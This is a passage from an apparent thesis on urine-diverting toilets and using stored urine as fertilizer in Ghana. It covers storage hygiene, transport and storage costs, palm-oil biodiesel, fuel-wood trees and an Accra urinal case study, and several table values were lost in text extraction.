139 Urine diverting sanitation facilities in Ghana In order to market urine as fertilizer, sanitation facilities that allow separate urine and feces collection need to be installed Technical aspects An example of a urine diverting dry toilet (UDDT) block that consists of six urine diverting squatting pans, two urinals and two sinks for hand washing is presented in Figure 4.1. This UDDT complex is based on the one built at the Valley View University (VVU) in Ghana and can be used by up to 500 people daily (see Figure 4.2). Detailed information about the ecosan project at the VVU can be found in Geller et al. (2006) and Berger (2010). Figure 4.1: Side view of the proposed urine diverting dry toilet complex (measures in meters) (Martinez Neri, 2009) Feces drop into a plastic container located in the basement. When the container is full, it is replaced by the adjacent one. Metal doors located on the side are used to remove plastic containers after the dehydration has been completed and transport dehydrated feces to the location where they will be treated further in a subsequent composting process. It is important to add ashes or sawdust to feces after each use in order to facilitate the dehydration process, reduce odor and eliminate pathogens by elevating the ph-value. A ventilation system helps to prevent odor. Urine is transported through a pipe into a collecting plastic tank, which when full is emptied and urine is transported to its storage location.
140 116 Figure 4.2: UDDT complex at the Valley View University in Ghana (Berger, 2010) Costs The urine diverting dry toilet (UDDT) block presented in Figure 4.1 costs approximately GH 5,500. The price for the UDDT block presented in Figure 4.1 includes material costs (approx. GH 3,100), labor costs (GH 900), the cost of two sinks (approx. GH 100), two urinals (GH 120), six squatting pans (GH 210), twelve plastic containers for feces collection (GH 500) and a 3,000 l plastic tank for urine collection (GH 600) (Martinez Neri, 2009). Urine diverting squatting pans made of porcelain are estimated to cost approximately GH Ordinary public urinals located in Accra can also be modified for urine collection. The costs for modifying one urinal are approximately 770 GH, which includes material costs (approx. GH 130), labor costs (GH 250) and the cost of a plastic tank for urine collection (GH 390) (Martinez Neri, 2009) Storage of urine Technical and hygienic aspects as well as costs of urine storage are discussed further Technical and hygienic aspects In order for urine to be safely used as fertilizer, it needs to be stored first. Storage of urine is performed for hygienic reasons. In a Swedish study, 22 % of the tested samples of source-diverted urine were contaminated with feces, on average by about 9 mg feces per liter of urine (Höglund et al., 2002). In the event that urine was contaminated with feces, storage ensures pathogen die-off. The risk for transmission of infectious diseases is dependent on the storage temperature and duration of storage of urine before used as fertilizer (Höglund, 2001). In general, the higher the storage temperature, the less probable it is for pathogens to survive in urine (Höglund, 2001). 49 Prices were converted from ETB to GHS using the average exchange rate of September 2009 from OANDA (2012).
141 117 The final application of urine determines its storage time and storage costs. As presented in Table 4.6, when fertilizing food crops that will be processed, urine requires a minimum of one month of storage, whereas for all other crops (not to be processed) six months or more at 20 C (WHO, 2006). Later studies suggest two months (of recommended storage) at >20 C when the ammonia content is approximately 50 mm NH 3 and less than 10 days at 34 C at 50 mm NH 3, considering Ascaris suum, bacteria and viruses (Vinnerås et al., 2008; Nordin et al., 2009 cited in Niwagaba, 2009). A study by Vinnerås et al. (2008) indicated that the current recommended storage time for urine of 6 months at 20 C or higher is safe for unrestricted use and could probably be shortened, especially for undiluted urine. For further considerations in this thesis, 1 month of storage for non-food crops to be processed and 6 months of storage for unrestricted use will be applied. Table 4.6: Relationship between storage conditions, pathogen content a of the urine mixture b and recommended crop for larger systems c (WHO, 2006) Storage temperature Storage time Possible pathogens in the urine mixture Recommended crops 4 C 1 month viruses, protozoa food and fodder crops that are to be processed 4 C 6 months viruses food crops that are to be processed, fodder crops d 20 C 1 month viruses food crops that are to be processed, fodder crops d 20 C 6 months probably none all crops e a) b) c) d) e) Gram-positive bacteria and spore-forming bacteria are not included in the underlying risk assessment, but are not normally recognized as causing any of the infections of concern. Urine or urine and water. When diluted, it is assumed that the urine mixture has at least ph 8.8 and a nitrogen concentration of at least 1 g/l. A larger system in this case is a system where the urine mixture is used to fertilize crops that will be consumed by individuals other than members of the household from which the urine was collected. Not grasslands for production of fodder. For food crops that are consumed raw, it is recommended that the urine be applied at least one month before harvesting and that it be incorporated into the ground if the edible parts grow above the soil surface. There are different opinions on urine storage among ecosan practitioners. One important aspect is related to pharmaceutical residues possibly present in urine and their potential take-up by plants when urine is applied as liquid fertilizer. Winker (2010) reported that if pharmaceutical residues are polar and hardly biodegradable they can probably enter the human food chain after being taken up by plants. The main problem lies in the fact that a full toxicological evaluation of pharmaceuticals ingested by humans through consumption of crops fertilized with urine has not been performed yet. Nevertheless, research carried out so far shows that the expected concentrations of pharmaceutical residues in average urine do not reach concentration levels which affect plant growth and development (Winker, 2010, p.23). New methods of urine hygienization include, for example, urine composting with wood chips addition (pers. communication, R. Otterpohl, Head of Wastewater Management and Water Protection Institute, Hamburg University of Technology, Hamburg, ).
142 118 Urine can be used pure or diluted and it should be applied close to the soil or incorporated into the soil in order to avoid odor, aerosol formation, foliar burns and the loss of ammonia (Jönsson et al., 2004; Schönning and Stenström T. A., 2004; Kvarnström et al., 2006; WHO, 2006). A period of at least one month between application and harvest is recommended (WHO, 2006). Ideally, urine storage facilities should be located next to the place of urine application. If possible, farmers can store urine on their farmlands in order to avoid the necessity of purchasing or leasing land required for urine storage Costs Costs of urine storage depend on the type of container used. Urine can be stored in plastic tanks or plastic bladders. Plastic bladders are commonly applied to store large volumes of liquids, for example, water, chemicals, fuel, liquid fertilizers, slurry, etc. Monthly costs of urine storage are presented in Table 4.7. A plastic bladder with a life span of 8 years costs GH 600, whereas a plastic tank of the same volume, with a life span of 15 years, costs almost GH 4,000. Even though plastic bladders have a shorter life span than tanks, as presented in Table 4.7, plastic bladders offer a competitive price for urine storage (approx. 30 % of the cost of storage in a plastic tank). Table 4.7: Cost of urine storage Type of container Capacity (liters) Life span (years) Price (GH ) a Cost of storage (GH /l*month) b Plastic tank 30, , Plastic bladder 30, a) Source: Weifang Kracivi Trade Co. Ltd., China cited in Martinez Neri, b) Cost of storage includes depreciation costs of storage equipment. Using plastic bladders in place of plastic tanks offers a price advantage, which makes a significant difference, especially with a 6-month storage period ( GH /l instead of GH /l of stored urine, respectively) Transportation of urine Transportation of urine might not be cost effective if urine is to be transported over long distances. Due to the low value-to-volume ratio of urine, the transportation distance allowed to achieve economic balance of an ecosan project is limited. Previous studies in Ghana suggested using suction trucks or tank trucks (trucks mounted with a tank) to collect urine from public toilets in Accra (Cofie et al., 2005; Tettey-Lowor, 2008). However, these options have considerable disadvantages: a high cost in the case of a suction truck, limited use (only transporting urine) in the case of a tank truck and the fact that they are often not able to reach many remote areas. Using a suction truck is necessary with fecal sludge and since urine is liquid it does not require such an expensive piece of equipment. Instead of using a tank truck fitted with one large plastic tank, a truck equipped with a number of smaller plastic containers would make transportation, loading and offloading easier to handle for the operators. Such a truck can be equipped with a different number of containers, i.e. different volumes of urine can be transported. Also, a truck used to transport urine should be equipped in such a way that it allows other transportation activities to be performed. A used heavy duty truck can be
143 119 imported, for example, from the USA and then fitted with plastic containers and a diesel-powered water pump to pump the urine into the containers (see Table 4.8). Table 4.8: Costs and variables for transportation of urine Variable Value Unit Truck costs (including shipping costs) a 26,550 GH /truck Plastic container costs b 75 GH /container Diesel-powered water pump costs c 1,200 GH /pump Container volume 300 liters Truck payload 7 tons Truck lifespan 10 years Diesel-powered pump lifespan 5 years Fuel consumption 4 km/l Average fuel price d 1.27 GH /l Truck maintenance e 200 GH /5,000 km Driver s salary 8.0 GH /day a) Source: Kelley Blue Book Co., Inc.; Carex International Shipping Company; Ghana Free Zones Board, Accra; b) Source: Poly Tanks Ghana Ltd., Accra; c) Source: Cemix Ltd., Accra; d) Source: ARS, average price ; e) Source: Africa Motors, Accra. All sources cited in Martinez Neri, Biodiesel As presented in the introduction (see Section 4), the supply chain discussed in this chapter proposes running trucks on biodiesel for urine transportation. Therefore, this section discusses the most important issues with regard to biodiesel Biodiesel properties Biodiesel obtained from vegetable oils has similar characteristics as fossil diesel fuel. The significant differences include: a 10 % lower calorific value of biodiesel, which means that more biodiesel is required to give the same power output as standard diesel; approximately 10 % higher density of biodiesel, which results in higher brake specific fuel consumption and a higher flash point, making transportation and handling of biodiesel safer (Elsbett and Bialkowsky, 2003). For a detailed list of the differences in properties of biodiesel compared to standard diesel refer to Appendix C. Despite some technical challenges (e.g., reduction of NOx exhaust emissions), biodiesel shows significant advantages compared to standard diesel: reduction of most exhaust emissions (with the exception of NO x ), improved biodegradability and domestic origin (Knothe and Steidley, 2005). Direct use of vegetable oils and their blends has been generally considered problematic for direct and indirect injection diesel engines (Elsbett and Bialkowsky, 2003). Some research results have proven successful engine performance under short term vegetable oil usage, but have faced degraded engine performance for 50 Biodiesel is a term used for renewable fuel obtained from plant or animal material and used in diesel engines. The term biofuel is commonly applied to liquid fuels used for transportation, with the two most common biofuels produced today being bioethanol (produced from, e.g., corn or sugar cane) and biodiesel (produced from vegetable oils, e.g., palm or soy oil) (Kleiner, 2007).
144 120 prolonged operation time (Elsbett and Bialkowsky, 2003). Even though, for example, the Elsbett-Engine enables combustion of natural vegetable oils, in general, vegetable oils have to undergo chemical reactions prior to their use as biodiesel in diesel engines Biodiesel processing In order to produce biodiesel from raw vegetable oil, alcohol, catalyst and vegetable oil need to be mixed in a container and heated to a required reaction temperature. According to Demirbas (2008), the most desirable vegetable oil sources are soybean, canola, palm and rape. The choice normally depends on local availability, affordability and government incentives (Caminiti et al., 2007). The oils mostly used for biodiesel production are rapeseed (European Union countries), soybean (Argentina, USA), palm (Asian and Central American countries) and sunflower, but other oils are also used (peanut, linseed, safflower, used vegetable oils and animal fats) (Romano and Sorichetti, 2011). Methanol is the most common primary alcohol used for biodiesel production, but ethanol, isopropanol and butyl can also be used (Demirbas, 2008). Potassium hydroxide, sodium hydroxide and sodium methoxide are common reaction catalysts (Demirbas, 2008). The respective ratio of the mixture, temperature and reaction time is defined for each oil type. The mixture is left aside for approximately 8 hours during which separation takes place and glycerides fall to the bottom of the container. Biodiesel is removed from the top and washed by mixing with pure water and left to separate. Biodiesel is then again recovered from the top and left for a few days to dehydrate and to become clear. It can then be used to power diesel engines Critical view on biodiesel Despite the many advantages of biodiesel, the emissions released by fossil fuels, e.g., for the production of fertilizers to grow crops, during manufacturing and distribution process of biodiesel have to be considered (Mastny, 2008; UNEP, 2009; Nersesian, 2010). Also, biodiesel usually costs more than standard diesel. There is also the concern of using food crops as a feedstock for biodiesel, especially in developing countries. A related concern is the fact that land that could have been used to grow food will be used for growing crops for fuel (Kleiner, 2007). Thus, factors such as available feedstock, market conditions, environmental impact and trade balance need to be taken into account while accessing biodiesel as an alternative to standard diesel (Demirbas, 2008) Biodiesel market potential in Ghana The biodiesel market is constantly growing and is undergoing fragmentation, which allows new players to enter the industry. According to Johnston and Holloway (2007), Ghana holds the fifth place (after Malaysia, Thailand, Colombia and Uruguay) among developing countries with profitable biodiesel export potential. This can be mainly attributed to its geographical location, relative safety, stability and lack of debt (Johnston and Holloway, 2007). The fuel industry in Ghana is run by the state. There are some measures that the Ghanaian government is considering to promote the use of biofuels. According to
145 121 Caminiti et al. (2007), there is a particular interest in the creation of a domestic biodiesel industry in Ghana, with primary reasons including the desire for economic growth, fuel security, a potential increase in employment and climate change mitigation. When it comes to feedstock for biodiesel, the government is interested in promoting jatropha and palm oil (Caminiti et al., 2007). This thesis will focus on the latter due to the abundance of oil palm fields in the case study area. The draft policy Bioenergy policy for Ghana mandates to substitute national petroleum fuels consumption with biofuel in the amount of 10 % by 2020 and 20 % by 2030 (Energy Commission, 2010). It has to be noted that this policy is currently a draft and is subject to change before its final approval as legislation (Caminiti et al., 2007). Another objective of the policy is to remove institutional barriers in order to promote private sector participation in the biofuel industry (Energy Commission, 2010). The policy also discusses zero corporate tax for 10 years for companies involved in feedstock production with labor-intensive methods. Furthermore, the policy considers fiscal and tax incentives for the biofuel industry such as zero import duty and value added tax for 10 years on equipment for biofuel processing and income tax reliefs for 10 years of operation for biofuel companies (Energy Commission, 2010). The goals presented in the draft policy are uncertain as there is no large scale production of biodiesel currently being undertaken anywhere in Ghana. Also, in spite of continuously increasing interests in organized biofuel production in Ghana, appropriate consultation across the whole supply chain for all stakeholders is not yet in place (Caminiti et al., 2007) Palm oil as a feedstock for biodiesel Palm oil is extracted from fruits of an oil palm tree. A palm bears its fruit in bunches, varying in weight from kg (Poku, 2002). An individual fruit (6-20 g), is made up of an outer skin called exocarp, a pulp (mesocarp) and a kernel, which contains an oil different from palm oil, resembling coconut oil (Poku, 2002). Thus, two types of oil can be produced from an oil palm tree: palm oil and palm kernel oil. The palm oil-winning process involves reception of fresh fruit bunches (FFB) from plantations, sterilizing and threshing of bunches in order to free palm fruits, mashing fruits and pressing out crude palm oil (Poku, 2002). Crude oil is then further treated, i.e. purified and dried for storage and export. Oil palms are grown in many agricultural regions in Africa. Parameters for growing oil palms include: temperature of min. 20 C and max. 35 C; annual rainfall of min. 1,500 mm and max. 3,000 mm and soil ph of min. 4.5 and max. 6.0 (FAO, 2011b). The energy balance expressed by the ratio of energy output to input is wider for oil palm than other commercially grown oil crops (Wood and Corley, 1993). In addition, oil palm has a competitive oil yield per hectare compared to other vegetable oil crops. Oil palm in Ghana Oil palm is one of the most important industrial crops in Ghana. The production trend for oil palm in Ghana has been increasing for the past years (Ministry of Food and Agriculture, 2010). In 2009, Ghana, with the production of 130,000 metric tons of
146 122 palm oil, was among the top twenty palm oil producing countries (FAO, 2009a) 51. Climatic conditions in the country allow producing up to 2,500 liters of vegetable oil per ha annually (Adamtey, 2005). However, such a good yield can only be reached with proper fertilization methods and good management of oil palm plantations. Most of the small scale plantations in Ghana have a current annual yield of about 1,000 liters of oil per hectare (Adamtey, 2005). In order to improve the yields, sustainable soil fertility has to be reached. However, many farmers do not apply mineral fertilizers due to economic hardships (Cofie and Mainoo, 2007). Thus, applying urine as fertilizer can help to solve this problem. Fertilization of oil palm with urine for biodiesel production will not face the risk of rejection by society as is probable in the case of fertilization of land used to cultivate edible crops. Fertilization needs of oil palm trees In order to estimate how much urine should be applied to satisfy the fertilization needs of oil palms, it is required to study their fertilization needs. The estimated fertilization needs of an oil palm tree, as indicated by Dr. Ofosu-Budu 52 and cited in Martinez Neri (2009), are presented in Table 4.9. Based on the data in Table 4.9, the amount of nitrogen, phosphorous and potassium required to meet the fertilization needs of each palm tree was calculated (see Table 4.10). Table 4.9: Fertilization needs of one oil palm tree Year NPK Organic NPK NPK (kg/tree) (kg/tree) (kg/tree) 1 st nd rd th and above Table 4.10: Amount of nutrients required to meet fertilization needs of one oil palm tree Year Nitrogen Phosphorous Potassium (kg/tree) (kg/tree) (kg/tree) 1 st 0.21 a nd 0.34 a rd 0.42 a th and above 0.36 a a) Calculation example: 0.75 kg N/tree 0.16 kg N + 3 kg N/tree 0.03 kg N = 0.21 kg N/tree Considering nutrients contained in urine in Ghana (see Table 4.4), the equivalent amount of urine necessary to meet the nutritional requirements of each oil palm tree was calculated (see Table 4.11). 51 The biggest producers of palm oil in 2009 were Indonesia (20.6 million Mt), Malaysia (17.6 million Mt), Nigeria (1.4 million Mt), Thailand (1.3 million Mt) and Colombia (0.8 million Mt) (FAO, 2009a). 52 Senior researcher at the Agricultural Research Station (ARS) of the University of Ghana in Kade, Kwaebibirem District.
147 123 Table 4.11: Amount of urine required to meet nutritional requirements of one oil palm tree Year Nitrogen Phosphorous Potassium (l/tree) (l/tree) (l/tree) 1 st nd rd th and above If urine (after required storage) is to be used to satisfy phosphorus and potassium needs, nitrogen requirements of an oil palm tree will be exceeded. If urine is applied to satisfy nitrogen nutritional requirements of oil palm trees, only 13 % of the phosphorous and 20 % of the potassium nutritional requirements will be met (see Table 4.11). Poultry manure, which is rich in phosphorous (2.90 % P 2 O 5 ) and potassium (2.35 % K 2 O) (Roy, 2006) can complement the fertilization of oil palms in order to avoid potential waste of nitrogen. Also, composted urban material is rich in phosphorous (1.0 % P 2 O 5 ) and potassium (1.5 % K 2 O) (Roy, 2006). Oil palm empty fruit bunches (EFB) rich in potassium (Corley and Tinker, 2003) can also be used to complement the fertilization of oil palms. The mean content of EFB is as follows (dry matter basis): 0.8 % N, 0.22 % P 2 O 5, 2.90 % K 2 O (Gurmit et al., 1999 cited in Corley and Tinker, 2003) Biodiesel production costs The estimated costs of producing biodiesel from crude palm oil, following the method proposed by Alkabbashi et al. (2009), are presented in Table The optimal conditions studied by Alkabbashi et al. (2009) include: KOH (1.4 wt %) as a catalyst, 1:10 mass ratio of methanol to oil and 60 minutes reaction time at 60 C. The expected yield is about 93 %, resulting in liters of biodiesel and a final value of 0.86 GH /l. Considering the price of diesel in Ghana (1.27 GH /l, see Table 4.8) and the ratio of 11:10 in order to obtain the same heat of combustion, the production of 11 liters of biodiesel would cost approximately GH 9.5, whereas 10 liters of diesel cost GH Thus, biodiesel in this case is approximately 75 % of the price of ordinary diesel 53. Table 4.12: Biodiesel production costs Supply Unit Price (GH ) Quantity Cost (GH ) Oil palm a liter Methanol b liter Catalyst c kg Total a) Source: GOPDC, August 2008; b) Source: Tin-Global Ltd., September 2008; c) Source: Tianjin Chemicals Co. Ltd, September 2008 cited in Martinez Neri, The demand for diesel in Ghana is very high so production of biodiesel should be able to provide financial benefits. The cost of a small-scale biodiesel plant with a capacity of 800 liters of biodiesel/day is approximately GH 1,600 (Martinez Neri, 2009). 53 Source for the price for ordinary diesel in Ghana: ARS, average price cited in Martinez Neri (2009).
148 Fast growing trees for fuel wood As presented in the introduction (see Section 4), the supply chain discussed in this chapter proposes fertilizing fast growing trees with urine for fuel wood production. Therefore, this section discusses the most important issues regarding short rotation trees. Almost 54 % of the households in Ghana use wood and 31 % use charcoal as a source of cooking fuel (Ghana Statistical Service, 2008b). In urban areas, almost 19 % and in rural areas, about 80 % of the households still use wood for cooking (Ghana Statistical Service, 2008b). Charcoal use for cooking, on the other hand, is more popular in urban areas (53 %) than in rural areas (31 %) (Ghana Statistical Service, 2008b). Optimal climatic and soil conditions for a selection of fast growing trees is presented in Table The photographs of these tree species can be found in Appendix D. Table 4.13: Optimal climatic and soil conditions for a selection of fast growing tree species (FAO, 2011b) Tree species Temperature Rainfall Max. altitude ( C) (mm/year) (m) Soil ph Cassia siamea ,500 1, Gliricidia sepium ,200-2,300 1, Leucaena leucocephala ,000 2, Casuarina equisetifolia ,500 1, Gmelina arborea ,500-2,500 2, Mainoo and Ulzen-Appiah (1996) studied growth, wood yield and energy characteristics of Leucaena leucocephala, Gliricidia sepium and Cassia siamea and they concluded that Cassia siamea was the best performing species in terms of total fresh wood volume at age of 4 years (and dry wood biomass) and wood energy production per hectare. Leucaena leucocephala, on the other hand, was ranked better in terms of fuel burning quality expressed as Fuelwood Value Index (FVI) (Mainoo and Ulzen-Appiah, 1996). Wood with higher lignin content and specific gravity has a higher calorific value, as in the case of L. leucocephala (see Table 4.14). Mainoo and Ulzen-Appiah (1996) concluded that among the studied three tree species, C. siamea can be a better choice for fuel wood plantation establishments due to its heat energy productivity. Table 4.14: Fuel wood characteristics of L. leucocephala, G. sepium and C. siamea (adapted from Mainoo and Ulzen-Appiah, 1996) Characteristics Tree species L. leucocephala G. sepium C. siamea Calorific value a (kj/kg) 19,677 19,117 18,744 Specific gravity Moisture content (%) Fuel wood Value Index 2,488 1,255 1,327 Lignin content (%) Energy production b (kj/ha) 761 x x ,611 x 10 6 a) Calorific value of fuel wood was calculated as gross calorific value b) The product of component dry wood yields per hectare and the respective calorific value was determined as energy production (Mainoo and Ulzen-Appiah, 1996, p.71).
149 125 Ranking of selected tree species for fuel wood production according to fuel wood yield and average rotation period is presented in Table Table 4.15: Characteristics Ranking of selected tree species for fuel wood production Tree species C. G. L. C. G. siamea sepium leucocephala equisetifolia arborea 3,333-2,500-5,000-10,000 a 3,333 b 10,000 c 2,500 d 2,500 c Trees planted per ha Fuel wood yield (t/ha) e e e d b Average rotation period (years) 4.0 e 4.0 e 4.0 e 8.5 d 7.5 f Calorific value (kj/kg) Fuel wood value h (GH /year) 8,615 4,092 3,930 7,500 1,250 Rank a) World Agroforestry Centre, 2011; b) Ryan, 1994; c) Kannan and Paliwal, 1995; d) National Academy of Sciences, 1980; e) Mainoo and Ulzen-Appiah, 1996; f) Hossain, 1999; g) Webb, 1984; h) Fuel wood value was calculated by multiplying the fuel wood yield with the cost of fuel wood in Accra (100 GH /t, as reported by Martinez Neri, 2009). 18,744 e 19,117 e 19,677 e 20,711 g 19,560-20,539 g From the profit generating perspective, C. siamea is the best alternative among the examined tree species for establishing of a short rotation plantation for fuel wood production (see Table 4.15). C. siamea has the best wood production yield and a short rotation period. The fuel wood and charcoal of C. siamea is highly regarded due to its high calorific value, but the wood produces a lot of smoke (Forestry/Fuelwood Research and Development Project, 1994). Roots of this tree grow to a considerable depth so they should not be planted in areas with low groundwater table (FAO, 2011b). G. sepium and L. leucocephala also have a short rotation period, but their fuel wood yield is lower than that of C. siamea. The wood of G. sepium burns slowly with little smoke (World Agroforestry Centre, 2011). C. equisetifolia has an excellent fuel wood yield but a long rotation period, whereas G. arborea has poor fuel wood yield and a long rotation period. The wood of C. equisetifolia burns with great heat and is often referred to as the best firewood in the world (National Academy of Sciences, 1980). 4.2 Case study Accra The following sections present three case studies: Accra 1, Accra 2 and Kade. Two project alternatives, Accra 1 and Accra 2, propose application of urine as fertilizer on oil palm trees and maize plants. These two projects focus on public male urinals located in the center of Accra (Ghana), where urine can be collected and then possibly sold to farmers. The project Kade considers fertilization of oil palms and fast growing trees with urine collected from a urine diverting dry toilet complex that would be located in Kade. The general supply scheme of the projects is presented in Figure 4.3. The three projects propose production of biodiesel, maize and fuel wood, running trucks on biodiesel and exploiting truck cargo capacity for other industry related services (e.g., transportation of biodiesel, fuel wood, oil palm fresh fruit bunches, poultry manure,
150 126 etc.) as well as reducing urine storage costs. Table 4.16 summarizes the boundaries for the three proposed projects. Local and world market Oil-crop plantations Vegetable oil Biodiesel Human excreta and poultry manure Storage/ Hygienisation Maize plantations Maize Urban and semi-urban settlements Fast growing trees Wood Figure 4.3: General supply scheme for case studies in Ghana
151 127 Table 4.16: Project boundaries for Accra 1, Accra 2 and Kade Urine collection Accra 1 Accra 2 Kade Location: Accra (CBD a ) Accra (CBD a ) Kade (ARS b ) Sanitation facilities: Public urinals Public urinals UDDT c complex No. of urinals: 14 d 14 d 2 No. of UDDTs: n.a. n.a. 6 Urine volume (l/d): 7,000 7, Urine storage Accra 1 Accra 2 Kade Location: Nsawam Nsawam Transported volume of urine (l/month): Transportation route: Accra (maize farms) Kade (ARS) 212,900 28, ,000 n.a. e Accra (CBD)- Nsawam Accra (CBD)- Nsawam Accra (CBD)- Accra (maize farms) Trip distance (km): n.a. e Trip frequency (times/month): n.a. e Storage duration (months): No. of storage bladders: Urine application Accra 1 Accra 2 Kade Location: Nsawam Nsawam Accra (maize farms) Kade (ARS) Urine application: Oil palms Oil palms Maize a. Oil palms; b. Fast growing trees Field size (ha): Abundant f Abundant f 680 g a. 200; b. 1 ha planted p.a. Transportation efficiency Location: Nsawam Nsawam Transported good: Transported amount: Accra 1 Accra 2 Kade Poultry manure Poultry manure Accra (maize farms) n.a. h Kade (ARS) Biodiesel 30 t/month 30 t/month n.a. h 23,400 l/month Accra (maize Kade Nsawam-Accra Nsawam-Accra farms)-accra (ARS)- (urban farms) (urban farms) (CBD) Accra n.a. e Kade (ARS) Fresh fruit bunches 375 t/month Kade (ARS)- Transportation Kwae route: (GOPDC i ) Trip distance (km): Trip frequency (times/month): Application g : Field size g (ha): a. maize; b. vegetables; c. mixed a. 680; b. 47; c j a. maize; b. vegetables; c. mixed a. 680; b. 47; c. 251 n.a. h Vehicles Oil palm mills n.a. h n.a. n.a. a) CBD Central Business District in Accra b) ARS Agricultural Research Station of the University in Ghana in Kade c) UDDT urine -diverting dry toilet d) Urinals are first modified for urine collection e) Urine is collected, stored and applied at ARS, so no transportation is required f) The information on the exact size of oil palm plantations in Nsawam is not available g) Source: Kufogbe et al., 2005 cited in Obuobie et al., 2006 h) It is assumed that nothing is transported on the way back from maize farms i) GOPDC- Ghana Oil Palm Plantation Development Company located in Kwae j) Transportation is carried out by two trucks, payload: 7 t/truck
152 Introduction to Accra Accra is the capital of Ghana and the most populated city in the country, which is located in the Greater Accra Region. The Greater Accra Region is divided into ten districts, which include Accra Metropolitan, Adentan Municipal, Ashaiman Municipal, Dangme East, Dangme West, Ga East, Ga South, Ga West Municipal, Ledzokuku- Krowor and Tema Municipal (Ghana Districts, 2006). In 2007, the Greater Accra Metropolitan Area (GAMA), which comprises Accra Metropolitan Area (AMA), Tema Municipal Area (TMA), and urban areas in Ga East and Ga West Districts, had an estimated population of 3.9 million inhabitants (Ghana Statistical Service, 2008a; Ghana Statistical Service, 2008b). Public toilets are used by over 40 % of the households in GAMA (see Table 4.17) (Ghana Statistical Service, 2008b). Most of the urinals and public toilets in Accra are privately owned (Cofie et al., 2011) and users are charged GH 0.20 for using a toilet and GH 0.05 for urinals (Martinez Neri, 2009). At the same time, a large percentage of households in Dangme East (53.1 %) and Dangme West (43.8 %) Districts practice open defecation (Ghana Districts, 2006). According to Cofie et al. (2011), as much as 95 % of the population in Accra uses on-site sanitation (public toilet, bucket latrine or septic tank) as primary sanitation facilities. Table 4.17: Type of toilet facility used by households in Accra (GAMA) and other urban areas of Ghana (Ghana Statistical Service, 2008b) Utility Accra (GAMA) Other urban Overall urban (%) (%) (%) Flush toilet Pit latrine KVIP Pan/bucket Public toilet (flush/bucket/kvip) Toilet in another house No toilet facility (bush, beach) Other Project Accra 1 Cofie and Mainoo (2007) investigated fourteen public urinals in the Central Business District (CBD) in Accra and estimated that they generate almost 7,300 liters of urine per day. The public urinals in the CBD generate different volumes of urine, varying from 1,100 to 120 liters per day. For detailed urine volumes generated at all fourteen public urinals see Appendix E.1. For further considerations in this thesis, the volume of 7,000 liters of urine per day will be used. Entrepreneurs operating the urinals under the license of the municipality are obliged to pay for urine disposal. However, in practice, the urinals are commonly emptied into drainage polluting the receiving water body Korle lagoon (Cofie and Mainoo, 2007; Tettey-Lowor, 2008; Cofie et al., 2011). One way of solving this problem could be modifying regular public urinals for urine collection (approx. 770 GH /urinal, see Section ). Urine storage facilities could be located in a semi-urban settlement 54 The Kumasi Ventilated Improved Pit (KVIP) is a twin-pit VIP latrine, which allows the contents of one pit to compost while the other pit is in use (Thrift, 2007).
153 Price 129 called Nsawam, which is located approximately 40 km north of Accra and surrounded by oil palm fields. In order to transport 7,000 l of urine per day, 24 plastic containers (container volume: 300 l/container) are needed on a heavy duty truck. Urine, after the required storage time of one month (see Section for information on storage time of urine), will be used to fertilize oil palm farms in Nsawam. Seven plastic bladders will have to be purchased in order to accommodate the volume of urine collected in one month. In order to avoid disturbances from heavy traffic in the capital of Ghana, the collection of urine from public toilets should be performed at night. In this case, when rush hours are avoided, the transportation of urine from Accra to Nsawam should take less than one hour. The value of nutrients contained in 7,000 l of urine collected from public urinals in the CBD per day is estimated at GH 100 (compare with Table 4.5). When comparing it to the estimated transportation costs at different distances ( km) (see Figure 4.4), the maximum distance for which the transportation costs do not exceed the value of the nutrients contained in 7,000 l of urine is 212 km (round trip). The transportation costs include: the cost of fuel, truck maintenance, spare parts, driver s salary 55 and the amortization of the truck and pump per day (for transportation costs, see Appendix E.2). Data presented in Figure 4.4 assumes that the truck does not carry any cargo on its return trip. The costs of urine storage in a plastic tank and in plastic bladders are also computed against the value of nutrients in urine. As previously discussed (see Section ), storage of urine in plastic bladders is less expensive than in plastic containers. The maximum distance for which the transportation and storage costs (in plastic bladders) do not exceed the value of nutrients contained in 7,000 l of urine is 208 km (round trip) (for the market value of nutrients contained in urine in Ghana, see Table 4.5). [GH ] Distance, round trip [km] Value of nutrients contained in 7,000 l of urine Transportation costs Costs for transportation and monthly storage in a container Costs for transportation and monthly storage in a bladder Figure 4.4: Value of nutrients in 7,000 l of urine vs. urine transportation and storage costs 55 Assumption: loading and offloading of tanks with urine will be performed by an employee staffed at the Central Business District.
154 130 The important factor that needs to be considered is the willingness of oil palm farmers to pay for urine to be used as fertilizer. The average oil palm yield (expressed in fresh fruit bunches) in Ghana in was 5.7 Mt/ha (calculated from data retrieved from Ministry of Food and Agriculture, 2010), whereas achievable yield in Ghana is 15 Mt/ha (Al-Hassan et al., 2008). Such a high yield can only be reached under favorable climate conditions, adequate fertilization and good management of the plantations. In , large oil palm plantations like Ghana Oil Palm Development Company (GOPDC) and Benso Oil Palm Plantation (BOPP) reached an average yield of 12.0 Mt/ha and 13.6 Mt/ha, respectively. However, the average yield of medium farms was 8.0 Mt/ha and of other private holdings only 5.0 Mt/ha (calculated from data retrieved from Ministry of Food and Agriculture, 2011). Many oil palm farmers do not fertilize their plantations due to high prices of mineral fertilizers, thus, fertilizing with urine could offer a viable alternative. Martinez Neri (2009) reported that both large and small scale oil palm producers are currently willing to find a reliable alternative to mineral fertilizers. In order to achieve cost efficiency, a truck transporting urine from public urinals in Accra to storage facilities in Nsawam should utilize its cargo capacity on its return trip to Accra. One way of doing so is by transporting poultry manure from Nsawam to Accra. Poultry manure can be obtained from farms located in Nsawam and its vicinity. The possible arrangement of empty urine tanks on sacks filled with poultry manure on a truck on its return trip to Accra is presented in Figure 4.5. Empty urine tanks Sacks with poultry manure Figure 4.5: Possible truck arrangement for the trip Nsawam-Accra (adapted from Martinez Neri, 2009) Tettey-Lowor (2008) reported that the consumption of poultry manure on urban farms in Accra is approximately 5 t/ha. Farmers ordering poultry manure pay 8 GH /t for a delivery and return trip to farms in Nsawam (Martinez Neri, 2009). Thus, a truck with a payload of 7 tons could generate up to approximately GH 56 per return trip. The availability of poultry manure in Nsawam is declining due to the fact that farmers have realized its fertilizing effect and they have been applying it on their vegetable farms. The amount of poultry manure available for sale in Nsawam is currently estimated to 30 t/month. Therefore, only a partial coverage of the urine transportation costs from Accra to Nsawam can be achieved 56. Transportation service can also be offered to transport palm oil fresh fruit bunches (FFB) to oil palm mills and extracted palm oil to small scale biodiesel plants, which may be located in or around Nsawam in the future. 56 During the time of this study, this was the information provided from the local perspective. However, the local situation could be studied again in the future in order to find other potential cargo that needs to be transported from Nsawam to Accra.
